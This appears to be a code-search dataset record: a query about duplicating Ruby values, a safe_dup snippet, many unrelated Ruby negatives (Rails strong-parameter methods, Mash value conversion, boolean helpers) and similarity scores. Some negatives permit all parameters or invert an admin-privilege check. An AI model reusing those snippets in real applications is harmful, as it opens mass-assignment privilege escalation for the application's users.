"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
For elements like Fixnums, true, nil... | def safe_dup(e)
e.dup
rescue TypeError
e
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def boolify(val)\n\nend",
"def elem?; end",
"def elem?; end",
"def has_elements?; end",
"def element?; end",
"def element?; end",
"def value?\n Array.wrap(element_value).reject(&:empty?).any?\n end",
"def boolean\n map ->(primitive) { primitive.to_bool }\n end",
"def value?(p0) end",
"def integer?() end",
"def is_int_array(arr)\n if arr == nil || arr == ''\n return false\n elsif arr.empty?\n return true\n end\n\narr.each do |i|\n if i.class == Integer || i.class == Float && i%1==0\n else\n return false\n end\n end\ntrue\nend",
"def typecast_value_boolean(opts={});true;end",
"def has_value?(p0) end",
"def my_none?(arr, &prc)\n arr.each do |ele|\n return false if prc.call(ele)\n end\n true\nend",
"def typecast_value_boolean(value)\n case value\n when false, 0, \"0\", /\\Af(alse)?\\z/i, /\\Ano?\\z/i\n false\n else\n blank_object?(value) ? nil : true\n end\n end",
"def int_array_check(arr)\n arr.each do |element|\n Integer(element) != nil rescue return false\n end\n return true\n end",
"def only_true(array)\n array.reject{|element| element == false || element == nil}\nend",
"def typecast_to_trueclass(value)\n if value.kind_of?(Integer)\n return true if value == 1\n return false if value == 0\n elsif value.respond_to?(:to_s)\n return true if %w[ true 1 t ].include?(value.to_s.downcase)\n return false if %w[ false 0 f ].include?(value.to_s.downcase)\n end\n nil\n end",
"def value?(value); end",
"def value?(value); end",
"def single_value?\n return false\n end",
"def all_ints?(collection)\n collection.each do |n|\n begin\n Integer(n)\n rescue\n return false\n end \n end\n true\n end",
"def array_of_fixnums?(array)\n array.all? { |x| x.is_a? Integer } \nend",
"def acceptable_return?(return_val, element_name); end",
"def scalar?\n true\n end",
"def to_bool() true end",
"def process_value element\n case element.name\n when 'date'\n Time.parse(element.content)\n when 'string'\n element.content\n when 'real'\n element.content.to_f\n when 'true'\n true\n when 'false'\n false\n when 'array'\n element.xpath('*').map{ |e| process_value(e) }\n when 'dict'\n process_dict(element)\n end\n end",
"def value?(value) true end",
"def to_b(value)\n [0,false,nil].include?(value) ? false : true\n end",
"def empty?() \n\t\t\ta = to_ary\n\t\t\ta[0] == 0 && a[1] == 0 \n\t\tend",
"def fix_boolean(node)\n node.children.map! do |child|\n if child.is_a?(AST::Node) &&\n child.type == :coerce_b\n child.children.first\n else\n child\n end\n end\n end",
"def to_bool\n if (self.to_bool == 1)\n puts \"TRUE\"\n elsif (self.to_bool == 0)\n puts \"FALSE\"\n elsif (self.to_bool == -1)\n puts \"NaN\"\n end\nend",
"def test_neither_element_is_zero\n\t\tp = Print.new\n\t\trefute(p.one_type_is_zero?([1,1]))\n\tend",
"def convert_value(val)\n case basic_type\n when nil\n val\n when /^str/i\n (val.nil? or val.empty?) ? nil : val\n when /^bool/i\n if val.is_a?(TrueClass) or val.is_a?(FalseClass)\n val\n elsif val.is_a?(String)\n !!(['1', 't', 'T'].include?(val))\n elsif val.is_a?(Numeric)\n !!val.nonzero?\n else\n val\n end\n when /^int/i\n val.to_i\n else\n val\n end\n end",
"def do_if_integer(element)\n if element.is_a?(Integer)\n yield element\n else\n element\n end\nend",
"def array_of_fixnums?(array)\n for element in array\n unless element.is_a? Fixnum\n return false\n end\n end\n return true\nend",
"def nonzero?() end",
"def primitive?\n false\n end",
"def value?\n !element_value.nil? && element_value != ''\n end",
"def to_bool() false end",
"def remove_nils_and_false_from_array(arr)\n reformed_array = []\n index = 0\n arr.each do |entry|\n if entry != nil && entry != false\n reformed_array.insert(index, entry)\n index += 1\n end\n end \n return reformed_array\nend",
"def non_polymorphic_collection?(param0 = T.unsafe(nil)); end",
"def parse_bool() true end",
"def isArrayElement(arraySize)\n return arraySize != nil && arraySize != \"\"\nend",
"def kind_of?(p0) end",
"def boolean_nested_array(array)\n array.each do |slot|\n return true if slot.kind_of?(Array)\n end\n return false\nend",
"def parse_bool() false end",
"def parse_bool() false end",
"def make_object?(element)\n element && !HappyMapper::Item::Types.include?(element.type)\n end",
"def true(_argvs)\n return nil\n end",
"def primitive?\n false\n end",
"def assign_singular?\n !returns_array?\n end",
"def numeric?\n Integer(self) != nil rescue false\n end",
"def true?\n\t\t!empty? && any?{|v| v.true? }\n\tend",
"def remove_nils_and_false_from_array(array)\n array.reject{|element|!element}\nend",
"def single_value?\n raise NotImplementedError\n end",
"def inline_element?\n\t\t\n\tend",
"def trueish?\n %w(1 t).include? self\n end",
"def nullify(bool)\n bool ? bool : nil\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def any?\n false\n end",
"def supports_is_true?\n false\n end",
"def none?(arr)\n arr.each { |el| return false if yield(el) }\n true\nend",
"def instruction?\n not elements.select { |e| e.respond_to?(:to_bin) }.empty?\n end",
"def serialize_val(value)\n case value\n when ARRAY_RXP\n value.split(/\\s*,\\s*/).map(&method(:serialize_val))\n when /\\A(true|t|yes|y)\\z/i\n true\n when /\\A(false|f|no|n)\\z/i\n false\n when /\\A(nil|null)\\z/i\n nil\n when /\\A\\d+\\z/\n value.to_i\n when /\\A\\d*\\.\\d+\\z/\n value.to_f\n when /\\A['\"].*['\"]\\z/\n value.gsub(/(\\A['\"]|['\"]\\z)/, '')\n else\n value\n end\n end",
"def map_boolean(ident, &block) ; map_primitive(:boolean, ident, &block) ; end",
"def array_42(a)\n\ta.any?{|x| x == 42}\nend",
"def is_number(value) #method\n if is_bool(value)\n false\n elsif value[0] == \"\\\"\"\n false\n else\n true\n end\n end",
"def my_none?\n\t\tvalue = true\n\t\tself.my_each do |element|\n\t\t\tif yield(element) == true\n\t\t\t\tvalue = false\n\t\t\tend\n\t\tend\n\t\treturn value\n\tend",
"def true?\n self.value == '1'\n end",
"def used_by?(element)\n end",
"def used_by?(element)\n end",
"def proctition(arr, &prc)\n true_arr = []\n false_arr = []\n\n arr.each do |ele|\n if prc.call(ele)\n true_arr << ele\n else\n false_arr << ele\n end\n end\n true_arr.concat(false_arr)\nend",
"def integer?\n @kind == :integer_lit || @kind == :integer_exp_lit || @kind == :hex_lit || @kind == :bin_lit\n end",
"def exercise_1111 (bool_values)\n end",
"def Bool(arg)\n !!arg\nend",
"def proctition(arr, &prc)\n true_arr = []\n false_arr = []\n\n arr.each do |ele|\n if prc.call(ele)\n true_arr << ele\n else\n false_arr << ele\n end\n end\n\n true_arr + false_arr\nend",
"def valid_node_value?(nodes)\n nodes == [] || array_of(nodes, String)\n end",
"def is_a?(p0) end",
"def any; end",
"def my_any?\n\t\tvalue = false\n\t\tself.my_select do |element|\n\t\t\tif yield(element)\n\t\t\t\tvalue = true\n\t\t\tend\n\t\tend\n\t\treturn value\n\tend",
"def is_value?\n true\n end",
"def is_a_primitive_type?(v)\n v.is_a?(Array) || v.is_a?(Integer) || v.is_a?(Float) || v.is_a?(TrueClass) ||\n v.is_a?(FalseClass) || v.is_a?(String) || v.is_a?(Time) || v.is_a?(::Hash)\n end",
"def has_elements?\n return !( self.factures.size.eql?(0) && \n self.ventes.size.eql?(0) && \n self.produits.size.eql?(0) &&\n self.labours.size.eql?(0) &&\n self.pulves.size.eql?(0))\n end",
"def remove_falsy_values list\n list.select { |item| !!item }\nend",
"def number?(num)\n integer?(num) || float?(num)\nend",
"def has_value?(value); end",
"def boolean(arg)\n case arg\n when 'true'\n 1\n when 'false'\n 0\n when nil\n 0\n end\n end",
"def nil?; false; end",
"def assert_no_nils_or_0s_in_att reclist, att \n assert_no_0_values reclist, att\n assert_no_nils reclist, att\n end",
"def remove_nils_and_false_from_array(array)\n array.select{|x| x}\nend",
"def remove_nils_and_false_from_array(array)\n array.select {|i| i != nil && i != false }\nend"
] | [
"0.66793966",
"0.66513515",
"0.66513515",
"0.6300628",
"0.6283817",
"0.6283817",
"0.62451214",
"0.6190507",
"0.61325306",
"0.609765",
"0.60735166",
"0.5938658",
"0.58471704",
"0.5786619",
"0.5768847",
"0.57674146",
"0.5764474",
"0.57610524",
"0.5752313",
"0.5752313",
"0.56675816",
"0.5666454",
"0.5663645",
"0.5653666",
"0.56372195",
"0.56292814",
"0.56286377",
"0.56278753",
"0.5616957",
"0.5598463",
"0.55963475",
"0.5593527",
"0.5591958",
"0.5584422",
"0.5582598",
"0.55785686",
"0.55764097",
"0.5562018",
"0.5560911",
"0.5554363",
"0.554325",
"0.554031",
"0.5529041",
"0.5516955",
"0.55123657",
"0.55071706",
"0.5504969",
"0.5504969",
"0.54832244",
"0.5472273",
"0.5468001",
"0.5463668",
"0.5456582",
"0.5456376",
"0.54551244",
"0.54521155",
"0.5447646",
"0.5444861",
"0.54403883",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.5439463",
"0.543839",
"0.54305506",
"0.5426152",
"0.540375",
"0.5398093",
"0.5392545",
"0.537947",
"0.53749245",
"0.5370531",
"0.53571564",
"0.5346578",
"0.5346578",
"0.5345485",
"0.5342432",
"0.534079",
"0.53351754",
"0.5333524",
"0.53246105",
"0.53219306",
"0.5318985",
"0.53178734",
"0.53121424",
"0.5310324",
"0.53077227",
"0.53059685",
"0.5303255",
"0.5296686",
"0.52937675",
"0.5288365",
"0.52842796",
"0.52826685",
"0.52721465"
] | 0.0 | -1 |
Mash uses convert_value to mashify values on input. We override it here to convert hash or array values to VividMash or AttrArray for consistency and to ensure that the added parts of the attribute tree will have the correct cache invalidation behavior. | def convert_value(value)
case value
when VividMash, AttrArray
value
when Hash
VividMash.new(value, __root__, __node__, __precedence__)
when Array
AttrArray.new(value, __root__, __node__, __precedence__)
else
value
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def transform_attr(key, value); end",
"def process_attribute(key, value)\n return super unless key == :value\n\n @built[:value] = value\n nil\n end",
"def convert_value\n # Do nothing if value has not changed\n return true unless value_changed?\n # Cast the value and return success\n return parse_string_value(@uncast_value) if @uncast_value.is_a? String\n # Convert the value to yaml otherwise\n v = @uncast_value.to_yaml unless @uncast_value.nil?\n self[:value] = v\n end",
"def convert_value(value)\n value.class == Hash ? self.class.new(value) : value\n end",
"def attr_converter(hash)\n jiak.data.attr_converter(hash)\n end",
"def convert(attribute, v)\n clazz = attribute.clazz\n # either as it is already the correct (||nested_array) type\n if v == nil || v.is_a?(clazz) || (attribute.is_a?(Arrest::NestedCollection) && v.is_a?(Array))\n converted_v = v\n elsif attribute.is_a?(Arrest::NestedAttribute) && v.is_a?(Hash) # a nested attribute needs a parent and a hash\n converted_v = attribute.from_hash(self, v)\n elsif clazz.respond_to?(:convert) # or its clazz implements a convert method\n converted_v = clazz.convert(v)\n elsif CONVERTER[clazz] # or a converter has been registered in arrest\n converted_v = CONVERTER[clazz].convert(v)\n else # otherwise raise\n raise ArgumentError, \"Setting of attribute with type >#{clazz}< with value type >#{v.class}< failed.\"\n end\n converted_v\n end",
"def to_mash; end",
"def map_value(key, value)\n case value\n when Array\n value.map { |v| map_value(nil, v) }\n when Hash\n return custom_deep_symbolic_hash(value) unless is_a_custom_key?(key)\n map_value(nil, array_from_mess(value))\n else\n value\n end\n end",
"def convert_attribute_value obj\n case obj\n when OpenCensus::Trace::TruncatableString\n TraceProtos::AttributeValue.new \\\n string_value: convert_truncatable_string(obj)\n when Integer\n TraceProtos::AttributeValue.new int_value: obj\n when true, false\n TraceProtos::AttributeValue.new bool_value: obj\n end\n end",
"def process(value)\n case value\n when Hash\n value.frozen? ? value.merge(value) { |_, v| process v } : value.merge!(value) { |_, v| process v }\n when Array\n value.frozen? ? value.map { |v| process v } : value.map! { |v| process v }\n when Exception\n sanitized_exception(value)\n when String\n sanitized_string(value)\n else\n value\n end\n end",
"def to_marchash\n [@tag, @value]\n end",
"def map_value(converted_value:)\n calling_mapper.for(\n Property.new(\n value.subject,\n value.key,\n converted_value,\n value.adapter,\n value.resource\n )\n ).result\n end",
"def normalize( value )\n value\n end",
"def coerce(value)\n hash = super(value)\n coerced_hash = {}\n\n hash.each do |k,v|\n k = @key_type.coerce(k) if @key_type\n v = @value_type.coerce(v) if @value_type\n\n coerced_hash[k] = v\n end\n\n return coerced_hash\n end",
"def convert(value)\n case value\n when java.util.List then value.to_a\n when java.util.Set then value.to_set\n when java.util.Map then value.to_hash\n else value\n end\n end",
"def to_mash\n ::Hashie::Mash.new(self)\n end",
"def normalize(value)\n Array(attrs[:normalize]).each do |method|\n next unless method.is_a?(Symbol)\n\n value = value.send(method) if value.respond_to?(method)\n end\n\n value\n end",
"def to_mash\n ::Hashie::Mash.new(self)\n end",
"def to_mash\n ::Hashie::Mash.new(self)\n end",
"def json_value=(value)\n value = value.map { |v| Base64.decode64(v) }\n super(value)\n end",
"def convert_value(value)\n case value\n when Array\n value.map! {|array_value| convert_value(array_value)}\n value\n when Hash\n Proxy.new(value)\n else\n value.nil? ? NO_OBJECT : value\n end\n end",
"def normalize_value(value)\n case value\n when nil then RDF.nil\n when RDF::Value then value\n when Array then self.class.new(subject: nil, graph: graph, values: value)\n else value\n end\n end",
"def convert(value)\n @path = []\n @values = {}\n to_data(value)\n end",
"def convert(value)\n @path = []\n @values = {}\n to_data(value)\n end",
"def enforce_value_types(hash = attributes)\n keys_to_manage = %i[valueDate valueDateTime valueDecimal valueInteger]\n\n keys = hash.keys\n keys.each do |k|\n v = hash[k]\n\n if v.is_a? Hash\n enforce_value_types(v)\n next\n elsif v.is_a? Array\n v.each { |item| enforce_value_types(item) if item.is_a? Hash }\n next\n end\n\n next unless keys_to_manage.include?(k.to_sym)\n\n case v\n when /^\\d{4}-\\d{2}-\\d{2}$/ # date\n next if k == 'valueDate'\n hash.delete(k)\n hash['valueDate'] = v\n when /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}(Z|((\\+|-)\\d{2}:\\d{2}))$/ # dateTime\n next if k == 'valueDateTime'\n hash.delete(k)\n hash['valueDateTime'] = v\n else\n fix_formatting(hash, k)\n end\n end\n end",
"def fix_meta_value(value)\n if (value.is_a?(Array) || value.is_a?(Hash) || value.is_a?(ActionController::Parameters))\n value = value.to_json\n end\n fix_meta_var(value)\n end",
"def transform_value(value)\n if value.is_a?(::Enumerable)\n value.map { |v| value_transformation.call(v) }\n else\n value_transformation.call(value)\n end\n end",
"def from_hash(value, metadata = {})\n return value unless @from_hash\n\n if value.respond_to? :map\n value = normalize(value, metadata)\n end\n @from_hash.call value\n end",
"def convert(value)\n case value\n when Array\n #\n # Because we've defined some convinieance methods for Array's, we\n # force the return value to be of type ExtendedArray\n #\n Connect::ExtendedArray.new(value.map { |e| transform(e) })\n # when Hash\n # #\n # # Because we've defined some conveniance methods for Hashes, we force\n # # the type to be a MathodHash\n # #\n # MethodHash[@value.map { |k, v| [k, transform(v)]}]\n else\n transform(value)\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def apply_type(value)\n converter = self.converter\n value.inject(new_collection) do |hash, keyval|\n hash[keyval[0]] = converter.decode(keyval[1])\n hash\n end\n end",
"def typecast_value(type, value)\n if value.is_a?(ActiveAttr::MultiAttr)\n typecast_multiattr(type, value)\n elsif typecaster = TYPECASTERS[type]\n typecaster.new.call(value)\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def fix(value)\n value_class = value.class\n if Hash == value_class\n value = fix_hash(value)\n elsif Array == value_class\n value = value.map { |v| fix_value(v) }\n elsif value.respond_to?(:to_h) && 0 == value.method(:to_h).arity\n value = value.to_h\n raise WAB::TypeError unless value.is_a?(Hash)\n value = fix(value)\n else\n raise WAB::TypeError\n end\n value\n end",
"def to_marchash\n {\"type\" => \"marc-hash\", \"version\" => [MARCHASH_MAJOR_VERSION, MARCHASH_MINOR_VERSION], \"leader\" => leader, \"fields\" => map { |f| f.to_marchash }}\n end",
"def normalize_attribute(name, value)\n if name.nil?\n raise RuntimeError, _('The first argument, name, must not be nil. ' \\\n 'Please report this as a bug!')\n end\n\n name = normalize_attribute_name(name)\n rubyish_class_name = Inflector.underscore(value.class.name)\n handler = \"normalize_attribute_value_of_#{rubyish_class_name}\"\n if respond_to?(handler, true)\n [name, send(handler, name, value)]\n else\n [name, [value.to_s]]\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
